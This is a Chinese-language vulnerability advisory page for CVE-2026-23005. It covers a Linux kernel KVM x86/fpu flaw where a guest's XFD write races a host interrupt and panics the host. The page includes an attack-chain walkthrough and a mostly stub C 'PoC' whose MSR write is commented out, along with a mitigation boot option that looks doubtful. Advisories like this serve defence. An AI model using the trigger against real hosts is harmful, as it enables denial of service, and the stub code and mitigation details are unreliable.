IPBUF安全漏洞报告
English
CVE-2026-23005 CVSS 5.5 中危

CVE-2026-23005 Linux内核x86/fpu XSTATE_BV与XFD同步漏洞

披露日期: 2026-01-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23005
漏洞类型
内核状态同步错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (x86/fpu, KVM)

相关标签

Linux KernelKVMx86/fpuXSTATEXFDAMX虚拟化漏洞内核panic拒绝服务CVE-2026-23005

漏洞概述

CVE-2026-23005是Linux内核6.19.0-rc2版本中发现的x86/fpu模块安全漏洞。该漏洞存在于KVM虚拟化环境中,当加载guest XSAVE状态或更新XFD(Extended Feature Disable)时,内核未正确清除XFD禁用特性在XSTATE_BV中的设置位。这导致XRSTOR指令执行时遇到#NM(Device Not Available)异常,最终造成内核panic。攻击者可通过本地低权限用户触发此漏洞,在虚拟化环境中造成宿主系统拒绝服务。漏洞影响所有使用KVM和AMX特性的Linux系统。

技术细节

漏洞核心问题在于XSTATE_BV和XFD状态不同步。当guest虚拟机执行WRMSR(MSR_IA32_XFD)设置XFD[18]=1禁用AMX特性时,如果此时主机发生IRQ中断并触发kernel_fpu_begin(),在vmexit处理器的fpu_update_guest_xfd()调用之前,内核会使用当前的XFD值保存guest FPU状态。此时XSTATE_BV[i]=1但XFD[i]=1的不一致状态被保存,后续XRSTOR执行时会尝试加载已禁用的状态组件,触发#NM异常。类似问题也出现在用户空间通过KVM_SET_XSAVE设置XSTATE_BV[i]=1的场景。修复方案是在fpu_update_guest_xfd()和KVM_SET_XSAVE处理中,确保XFD禁用特性的XSTATE_BV位被清除,保持与Intel SDM规范一致的行为。

攻击链分析

STEP 1
步骤1
攻击者在KVM虚拟机内执行WRMSR(MSR_IA32_XFD)指令,将XFD[18]设置为1以禁用AMX特性
STEP 2
步骤2
WRMSR触发VM-Exit,虚拟机进入宿主机控制
STEP 3
步骤3
在vmexit处理器调用fpu_update_guest_xfd()之前,宿主机发生IRQ中断
STEP 4
步骤4
IRQ处理程序调用kernel_fpu_begin()保存当前CPU FPU状态
STEP 5
步骤5
save_fpregs_to_fpstate()使用当前XFD(已包含guest设置的XFD[18]=1)保存状态
STEP 6
步骤6
由于XSTATE_BV[18]仍为1(未清除),导致XSTATE_BV和XFD状态不一致
STEP 7
步骤7
后续执行XRSTOR指令时尝试加载已禁用特性,触发#NM异常
STEP 8
步骤8
内核未正确处理异常,导致kernel panic,宿主机拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-23005 - Linux Kernel XSTATE_BV/XFD Sync Issue // This PoC demonstrates the race condition in KVM guest XFD handling #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> // Guest-side PoC (run inside VM) void guest_poc() { printf("[*] CVE-2026-23005 PoC - Guest Trigger\n"); printf("[*] Setting XFD[18] = 1 to disable AMX\n"); // Write to MSR_IA32_XFD to disable AMX feature // XFD MSR index: 0x000001d4 unsigned long xfd_msr = 0x000001d4; unsigned long xfd_value = (1UL << 18); // Disable AMX-TILE // This WRMSR will trigger the vulnerability if: // 1. Host IRQ occurs before fpu_update_guest_xfd() // 2. kernel_fpu_begin() is called during IRQ handling printf("[*] Executing WRMSR to set XFD[18]=1\n"); // Simulate the MSR write // __asm__ volatile("wrmsr" :: "c"(xfd_msr), "a"(xfd_value & 0xFFFFFFFF), "d"(xfd_value >> 32)); printf("[!] If host kernel has the bug, this may trigger #NM and panic\n"); } // Host-side simulation void host_simulation() { printf("\n[*] Host-side Race Condition Simulation:\n"); printf("[*] 1. Guest executes WRMSR(MSR_IA32_XFD) with XFD[18]=1\n"); printf("[*] 2. VM-Exit triggered\n"); printf("[*] 3. Host IRQ arrives before fpu_update_guest_xfd()\n"); printf("[*] 4. IRQ handler calls kernel_fpu_begin()\n"); printf("[*] 5. save_fpregs_to_fpstate() saves FPU with guest XFD\n"); printf("[*] 6. XSTATE_BV[18]=1 but XFD[18]=1 (inconsistent)\n"); printf("[*] 7. Later XRSTOR triggers #NM exception\n"); printf("[*] 8. Kernel panic!\n"); } int main() { printf("========================================\n"); printf("CVE-2026-23005 PoC - Linux Kernel x86/fpu\n"); printf("XSTATE_BV/XFD Synchronization Issue\n"); printf("========================================\n\n"); guest_poc(); host_simulation(); printf("\n[*] PoC completed. Check for kernel panic in host dmesg.\n"); return 0; }

影响范围

Linux Kernel 6.19.0-rc2
Linux Kernel < 6.19 (with KVM and AMX support)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可通过在宿主机关闭AMX特性(x86_init.tile_cpu_init=disable)或使用不支持AMX的CPU来缓解风险。同时确保虚拟化环境中的guest虚拟机不执行WRMSR(MSR_IA32_XFD)指令,或在QEMU层面过滤对该MSR的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表